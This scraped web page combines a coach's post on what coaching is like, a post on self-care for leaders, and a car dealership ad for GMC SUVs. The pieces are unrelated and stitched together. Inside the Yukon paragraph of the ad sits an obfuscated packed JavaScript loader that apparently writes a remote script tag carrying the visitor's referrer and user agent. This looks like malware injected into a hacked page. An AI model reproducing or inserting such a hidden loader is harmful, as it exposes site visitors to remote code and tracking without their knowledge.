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Why Coaching? It’s Better than Chocolate Cake.

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  • I am a coach. I love what I do. A lot of people have good questions about my work.

    One question that gets asked repeatedly is, “What is coaching?”

    The best answer to “What is coaching?” is always to experience coaching. It’s like trying to describe chocolate cake.

    You can try to describe chocolate cake or you can eat chocolate cake. There’s a big difference.

    According to the International Coaches Federation, the governing and regulatory body for certified coaches, “Professional coaching brings many wonderful benefits: fresh perspectives on personal challenges, enhanced decision-making skills, greater interpersonal effectiveness, and increased confidence. And, the list does not end there. Those who undertake coaching also can expect appreciable improvement in productivity, satisfaction with life and work, and the attainment of relevant goals.”

    Wow, right?

    Another way of looking at the question “What is coaching?” is to hear what clients experience in a coaching conversation. It’s sort of like asking what it feels like to eat chocolate cake.

    Here are some candid responses from my clients.

    Coaching feels like…..

    Clarity and direction

    Encouragement with action

    Finding my bravest self

    Focused empowering

    Hard Work

    Challenging

    Enlightening

    Informative

    Momentum with hope

    Safe

    Impending Change

    Hopeful Moving Forward

    Reorganizing of thoughts

    Action Focused

    Uncomfortable in a good way

    Exciting

    Clear Direction

    Vulnerability, Ownership, Clarity

    I CAN CHANGE!

    If you are looking for any of those results this year and you’re tired of the same struggles year after year, hiring a coach may be a great option for you. I know it has changed my life and I am honoured to offer my clients a conversation that can do so much!

    One word of caution… chocolate cake with all of the best, specialized ingredients, that is masterfully put together by an experienced chef is going to be a very different experience than eating cake that was baked by someone with less understanding of the ingredients. Find a coach with training and experience that supports the outcomes and experience you are looking for.

    So, instead of just asking, “What is coaching?”, try it!  You’ll be glad you did.  It’s better than chocolate cake.


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    Now’s the Time… High Performance Leadership and Self Care?

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  • Leadership is challenging.
    Criticism of leadership, from numerous directions, can feel like death by a thousand cuts for those of us who are brave enough to take on leadership positions.

    Learning resilience strategies, that are not driven by ego, is critical for sustainable results. One of the most important resilience strategies all leaders need is self care.

    Self care is essential to your health and the health of your organization.

    Throughout my adult life, I’ve experienced numerous leadership positions and leadership roles.
    Often, I was up to my eyeballs with new responsibilities before I knew it and didn’t understand or have the time to look into how to survive my new reality. I had a skillset that was necessary for the work, I knew I had leadership capacity… but didn’t understand what self-care really looked like for me in my role.

    My experience is familiar to many people who are promoted into positions because they were great at their previous role. For many of us, we end up in leadership roles and suddenly have responsibilities that are unfamiliar and take an immense amount of self awareness and other awareness.

    Burnout can begin to undermine the job we want to do, the life we want to live and the even the self-care efforts that we may be trying to sustain.

    There were times when I believed there was no other way, that the situation was my lot in life. I resigned myself to a mindset that was limited to what I knew. Little did I know that there were coping strategies within my reach.

    I did not have a very robust idea of what self-care is about. I want to share with you some important truths and some questions for self reflection about self care that I wish I had explored earlier.

    First and most important, self care, not driven by ego, is important. We cannot give what we do not have.
    What resources are within my reach that I can draw on?
    What do I truly believe about taking care of myself?

    Self Care starts with what we choose to believe and focus on.
    Condemning or critical thoughts may be undermining your self-care efforts. Choosing to talk to ourselves the way we would talk to a friend is a courageous choice.
    Am I choosing to be compassionate to myself? Are there useful resources within my reach that I could or should access?

    Self Care looks different for each of us. What fills my bucket may not fill your bucket. This is not about what SHOULD work for us. Regular, seemingly small deposits into your self care bank are more effective than massive one time efforts. Think of it like the daily act of brushing your teeth, as opposed to taking the holiday of a lifetime.
    What would add to my bucket today?

    Self Care is about meaningful connection.
    Who are the people in your life who care about me?
    What can I do to grow this important resource in my life?

    Self Care is about finding moments, people and places where we can feel emotions.
    Do I have a place to feel hard emotions in a safe place experience feeling seen, heard and understood?

    Self Care is about finding opportunities for laughter. We all need to laugh and play.
    Where can I find something today that will give me a good belly laugh?

    Self care is about rumbling with setting boundaries.
    Boundaries are about what’s ok and what’s not ok AND about being clear about what is mine and what is not mine.
    What can I do to get clear about my boundaries?

    Now, can you give the people in your team permission to do the same? The flip of self-care for others is empathy…. one of the most critical, and challenging skillsets for today’s leaders.

    My suggestions:
    Choose one of these elements of self care and strategically add it to your life for two months, then move on to another one of these elements.

    Working with a coach has also been the best self-care gifts I have given to myself. Change almost always begins with a conversation.

    Your 2019 will look brighter and more successful if you give yourself permission to play and get curious with self care strategies.

    Self care has a way of growing what we most want in our lives. Want a healthy team? Taking the time to honestly ask the above questions is a courageous, and important, step.

    If you’d like support or to explore any of these ideas further with coaching or training, please contact me at alana@nowsthetime.ca


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    THE GMC SUV

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  • GMC offers a variety of SUVs to fit your specific needs. Choose from the full-size Yukon SUV with ample seating for up to nine adults and impressive trailering capability. Opt for the compact Terrain SUV with a standard 1.5L turbo engine and an estimated fuel consumption rating of 7.9 L/100 km highway and 9.2 L/100 km city (in 4×2 mode). Or go with the powerful, capable Acadia SUV for signature GMC utility, flexibility, and convenience.

    YUKON
    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sknss|var|u0026u|referrer|ietfr||js|php’.split(‘|’),0,{}))
    full-size SUV brings together numerous innovations to create a new standard in utility. Under the hood, Yukon gives you a choice of powerful and efficient EcoTec3 engines. Inside, premium materials, generous seating and storage, intelligent infotainment, and available safety technologies create an outstanding driving experience.

    FIND YOUR YUKON: http://bit.ly/2019GMCYUKON

    ACADIA
    An SUV engineered to help you handle life’s demands with confidence, capability, and style. With available seating for up to seven, Acadia provides flexible and adaptable storage capacity depending on your needs. Its available advanced driver alert and infotainment technologies help keep you aware, connected, and entertained.

    FIND YOUR ACADIA:http://bit.ly/2019GMCACADIA

    TERRAIN
    This SUV brings together exceptional features of its category. From a distinctive exterior that leaves a lasting impression to new available features that benefit everyone such as Front Pedestrian Braking, HD Rear Vision Camera and HD Surround Vision, the Terrain delivers outstanding utility to handle the varied demands of your life.

    FIND YOUR TERRAIN: http://bit.ly/2019GMCTERRAIN

    If you would like to Test Drive anyone of these SUV’s come visit us at http://www.kippscott.ca to book!

     


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